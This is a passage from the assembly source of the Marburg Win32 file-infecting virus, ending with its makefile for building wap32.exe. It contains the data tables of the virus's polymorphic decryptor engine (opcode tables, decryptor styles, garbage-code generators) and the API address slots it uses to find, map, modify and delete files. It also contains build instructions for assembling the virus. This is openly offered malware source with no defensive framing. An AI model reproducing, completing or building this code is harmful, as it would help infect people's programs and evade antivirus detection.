                db 0E0h                         ;and
                db 0E8h                         ;sub
                db 0F0h                         ;xor
                db 0D0h                         ;adc
                db 0D8h                         ;sbb

end_math_imm    equ this byte

                ;Magic aliases

MAGIC_PUTKEY    equ 01h
MAGIC_PUTDISP   equ 02h
MAGIC_ENDSTR    equ 0FFh
MAGIC_ENDKEY    equ 0FEh
MAGIC_CAREEBP   equ 00h
MAGIC_NOTEBP    equ 0FFh

                ;Magic data

xx_inc_reg      db 0FEh
                db MAGIC_CAREEBP                
                db 00h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

xx_dec_reg      db 0FEh
                db MAGIC_CAREEBP                                
                db 08h
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

xx_not_reg      db 0F6h
                db MAGIC_CAREEBP                
                db 10h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

xx_add_reg      db 80h
                db MAGIC_CAREEBP
                db 00h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

xx_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 28h
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword
                  
xx_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 30h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

yy_inc_reg      db 0FEh
                db MAGIC_NOTEBP                
                db 80h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

yy_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 88h
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

yy_not_reg      db 0F6h
                db MAGIC_NOTEBP                
                db 90h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

yy_add_reg      db 80h
                db MAGIC_NOTEBP
                db 80h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

yy_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0A8h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

yy_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B0h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

zz_inc_reg      db 0FEh
                db MAGIC_CAREEBP
                db 04h
                db 00h
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

zz_dec_reg      db 0FEh
                db MAGIC_CAREEBP
                db 0Ch
                db 00h
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

zz_not_reg      db 0F6h
                db MAGIC_CAREEBP
                db 14h
                db 00h
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

zz_add_reg      db 80h
                db MAGIC_CAREEBP
                db 04h
                db MAGIC_PUTKEY
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

zz_sub_reg      db 80h
                db MAGIC_CAREEBP
                db 2Ch
                db MAGIC_PUTKEY
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

zz_xor_reg      db 80h
                db MAGIC_CAREEBP
                db 34h
                db MAGIC_PUTKEY
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

ii_inc_reg      db 0FEh
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTDISP
                dd offset x_inc_reg_byte
                dd offset x_inc_reg_word
                dd offset x_inc_reg_dword

ii_dec_reg      db 0FEh
                db MAGIC_NOTEBP
                db 8Ch
                db MAGIC_PUTDISP
                dd offset x_dec_reg_byte
                dd offset x_dec_reg_word
                dd offset x_dec_reg_dword

ii_not_reg      db 0F6h
                db MAGIC_NOTEBP
                db 94h
                db MAGIC_PUTDISP
                dd offset x_not_reg_byte
                dd offset x_not_reg_word
                dd offset x_not_reg_dword

ii_add_reg      db 80h
                db MAGIC_NOTEBP
                db 84h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_add_reg_byte
                dd offset x_add_reg_word
                dd offset x_add_reg_dword

ii_sub_reg      db 80h
                db MAGIC_NOTEBP
                db 0ACh
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_sub_reg_byte
                dd offset x_sub_reg_word
                dd offset x_sub_reg_dword

ii_xor_reg      db 80h
                db MAGIC_NOTEBP
                db 0B4h
                db MAGIC_PUTKEY or MAGIC_PUTDISP
                dd offset x_xor_reg_byte
                dd offset x_xor_reg_word
                dd offset x_xor_reg_dword

                ;Reverse-code strings

x_inc_reg_byte  db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word  db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte  db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word  db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte  db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word  db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte  db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word  db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte  db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word  db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte  db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word  db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

                ;Decryptor styles

tbl_styles      equ this byte

                dd offset style_gen_1
                dd offset style_gen_2
                dd offset style_gen_3
                dd offset style_gen_4
                dd offset style_gen_5
                dd offset style_gen_6

end_styles      equ this byte

style_gen_1     dd offset gen_get_delta
                dd offset gen_fix_ptr
                dd offset gen_load_ctr
                dd offset gen_decrypt
                dd offset gen_next_step
                dd offset gen_next_ctr
                dd offset gen_loop

style_gen_2     dd offset gen_get_delta
                dd offset gen_load_ctr
                dd offset gen_fix_ptr
                dd offset gen_decrypt
                dd offset gen_next_step
                dd offset gen_next_ctr
                dd offset gen_loop

style_gen_3     dd offset gen_load_ctr
                dd offset gen_get_delta
                dd offset gen_fix_ptr                
                dd offset gen_decrypt
                dd offset gen_next_step
                dd offset gen_next_ctr
                dd offset gen_loop

style_gen_4     dd offset gen_get_delta
                dd offset gen_fix_ptr
                dd offset gen_load_ctr
                dd offset gen_decrypt
                dd offset gen_next_ctr
                dd offset gen_next_step
                dd offset gen_loop

style_gen_5     dd offset gen_get_delta
                dd offset gen_load_ctr
                dd offset gen_fix_ptr
                dd offset gen_decrypt
                dd offset gen_next_ctr
                dd offset gen_next_step
                dd offset gen_loop

style_gen_6     dd offset gen_load_ctr
                dd offset gen_get_delta
                dd offset gen_fix_ptr                
                dd offset gen_decrypt
                dd offset gen_next_ctr
                dd offset gen_next_step
                dd offset gen_loop

                ;Garbage code generators

tbl_garbage     equ this byte

                dd offset gen_save_code         ;clc stc cmc cld std
                dd offset g_movreg32imm         ;mov reg32,imm
                dd offset g_movreg16imm         ;mov reg16,imm
                dd offset g_movreg8imm          ;mov reg8,imm
                dd offset g_movregreg32         ;mov reg32,reg32
                dd offset g_movregreg16         ;mov reg16,reg16
                dd offset g_movregreg8          ;mov reg8,reg8
                dd offset g_mathregimm32        ;math reg32,imm
                dd offset g_mathregimm16        ;math reg16,imm
                dd offset g_mathregimm8         ;math reg8,imm
                dd offset g_push_g_pop          ;push reg/garbage/pop reg
                dd offset g_jump_u              ;jump/rnd block
                dd offset g_jump_c              ;jump conditional/garbage
                dd offset g_movzx_movsx         ;movzx/movsx reg32,reg16

end_garbage     equ this byte

                ;Original code at host entry point

entry_code      db BUFFER_EP dup (00h)

                ;Polymorphic procedures works with byte/word/dword
                ;We let here a dword to avoid buffer overwrites

safety_01       dd 00000000h

                ;Polymorphic decryptor buffer

poly_decryptor  db DECRYPTOR_SIZE dup (00h)

inf_end         equ this byte

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

                ;Virus uninitialized data

a_Kernel32      dd 00000000h
a_User32        dd 00000000h
a_GetModuleH    dd 00000000h
a_GetProcAddr   dd 00000000h

                ;API entry point for each viral function

viral_addresses equ this byte

a_CreateFile    dd 00000000h
a_CreateFileMap dd 00000000h
a_MapViewOfFile dd 00000000h
a_UnmapView     dd 00000000h
a_CloseHandle   dd 00000000h
a_FindFirst     dd 00000000h
a_FindNext      dd 00000000h
a_FindClose     dd 00000000h
a_VirtualAlloc  dd 00000000h
a_GetWindowsDir dd 00000000h
a_GetSystemDir  dd 00000000h
a_GetCurDir     dd 00000000h
a_SetFileAttr   dd 00000000h
a_SetFileTime   dd 00000000h
a_DeleteFile    dd 00000000h
a_GetCurProc    dd 00000000h
a_WriteProcMem  dd 00000000h
a_LoadLibrary   dd 00000000h
a_GetSysTime    dd 00000000h

                ;Misc variables

CreateFile_h    dd 00000000h
Mapping_h       dd 00000000h
Search_h        dd 00000000h
File_Attr       dd 00000000h
search_raw      dd 00000000h
original_size   dd 00000000h
h_icon          dd 00000000h
dc_screen       dd 00000000h

                ;Data used by the polymorphic engine

rnd32_seed      dd 00000000h    ;Seed for random number generator
ptr_disp        dd 00000000h    ;Displacement from index
end_value       dd 00000000h    ;Index end value
delta_call      dd 00000000h    ;Used into delta_offset routines
loop_point      dd 00000000h    ;Start address of decryption loop
crypt_key       dd 00000000h    ;Encryption key
oper_size       db 00h          ;Size used (1=Byte 2=Word 4=Dword)
index_mask      db 00h          ;Mask of register used as index
counter_mask    db 00h          ;Mask of register used as counter
build_flags     db 00h          ;Some decryptor flags
recursive_level db 00h          ;Garbage recursive layer

                ;Decryptor flags aliases

CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR    equ 02h
CRYPT_CDIR      equ 04h
CRYPT_SIMPLEX   equ 10h
CRYPT_COMPLEX   equ 20h

                ;Buffer to convert file time to system time

my_system_time  equ this byte

time_year       dw 0000h
time_month      dw 0000h
time_dayofweek  dw 0000h
time_day        dw 0000h
time_hour       dw 0000h
time_minute     dw 0000h
time_seconds    dw 0000h
time_milisec    dw 0000h

                ;Buffer for \WINDOWS and \SYSTEM directories

szWorkDir       db MAX_PATH dup (00h)

                ;Data about found files

my_FindData     db SIZEOF_WIN32_FIND_DATA dup (00h)

                ;This will be the place for the virus copy

mem_end         equ this byte

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

virseg          ends

                end host_entry

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

-------->8 cut here ---------------------------------------------------------

#   Marburg makefile

#   make -B            Will build wap32.exe
#   make -B -DDEBUG    Will build the debug version of wap32.exe

NAME = WAP32
OBJS = $(NAME).obj
ASMS = $(NAME).asm

!if $d(DEBUG)
TASMPARAM= /ml /m5 /la /zi 
TLINKPARAM= -Tpe -c -s -v -ap 
!else
TASMPARAM= /ml /m5 /q /zn 
TLINKPARAM= -Tpe -c -x -ap 
!endif

!if $d(MAKEDIR)
IMPORT=$(MAKEDIR)\..\lib\import32
!else
IMPORT=import32
!endif


$(NAME).EXE: $(OBJS) $(DEF)
  tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT)

.asm.obj:
   tasm32 $(TASMPARAM) $(ASMS)
